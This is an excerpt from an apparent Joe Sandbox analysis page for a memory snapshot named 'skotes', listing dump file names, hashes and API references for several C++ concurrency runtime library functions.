Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 659dcadfc19ed5b7d58383d2c98c6d0af783a74cbda8048f0590dbd0b92755f2
Instruction ID: 08c58b57a15cb5ccf8c4df7ad8cc3ca1a1e44cebedf58be6b7c03a5dcb404143
Opcode Fuzzy Hash: 659dcadfc19ed5b7d58383d2c98c6d0af783a74cbda8048f0590dbd0b92755f2
Instruction Fuzzy Hash: 3C415F75A00619EFCB09DF64C594AADB7B9FF88320F048159E506AB390CB74AE41CB81

Function 009AECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 009AECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 009AED17

Part of subcall function 009AF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 009AF3FA

__alloca_probe_16.LIBCMT ref: 009AED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 009AED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 009AEDC6

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: 544beb96181dba17ba1eba5ad22a36a85db404a5965ac00a4abed1886f7b6221
Instruction ID: c779ce8696ca6d6846673c37124789b35c39d6be542b3a974506844f1ba58c9b
Opcode Fuzzy Hash: 544beb96181dba17ba1eba5ad22a36a85db404a5965ac00a4abed1886f7b6221
Instruction Fuzzy Hash: CA318F71E002058BCB15DFA8C9416AEB7F9EF8A310F25406EE845E7390DB349E02CBD5

Function 009BD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 009BD344
ListArray.LIBCONCRT ref: 009BD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 009BD370
ListArray.LIBCONCRT ref: 009BD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 009BD3B3

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 4ebd2359c60397c53fd0d1fbdc3dac2431bcc433b7cea007d28ea4806b135602
Instruction ID: c6574f7bcca5062a819bf8f19d3e3a1365e5338e3c42318dd4389fa185dbfdad
Opcode Fuzzy Hash: 4ebd2359c60397c53fd0d1fbdc3dac2431bcc433b7cea007d28ea4806b135602
Instruction Fuzzy Hash: CA31D2357012009FCB08DF54CA84BEDB7E5AF88324F050199E8069F392EB75ED40CB92

Function 009B86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 009B86EE

Part of subcall function 009AEAD0: _SpinWait.LIBCONCRT ref: 009AEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 009B8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 009B8734
List.LIBCMT ref: 009B87B7
List.LIBCMT ref: 009B87C6

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: c5adeda0048f0e6a5ca00029dfea1673962a4e12e774b4451d6bf65694a556c6
Instruction ID: 004638e8cbee251ae0228ab409294e5a03dd292663e075e2eb29f8176091894d
Opcode Fuzzy Hash: c5adeda0048f0e6a5ca00029dfea1673962a4e12e774b4451d6bf65694a556c6
Instruction Fuzzy Hash: 08316832D01255DFCB14EFA4C6916EEB7B9BF49328F28006AD40167652CF31AD04CB90

Function 009C182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 009C18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 009C18EB

Strings

pContext, xrefs: 009C189C

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 74c4c5273e94ff1d3481341e5b1990947f34a14f0d6f5c7b3fb4a724f229c166
Instruction ID: 44061b79a6e6c5741ee5f82fb0e7314d11b08752eda0f6c325293b016a0bbb78
Opcode Fuzzy Hash: 74c4c5273e94ff1d3481341e5b1990947f34a14f0d6f5c7b3fb4a724f229c166
Instruction Fuzzy Hash: 42212735F046159BCB14AB68C895FBCB3A9BFC2334B04052EE511872D3CFA4EC41CA9A

Function 009BAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 009BAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 009BAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 009BAF4E

Strings

pExecutionResource, xrefs: 009BAF07

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
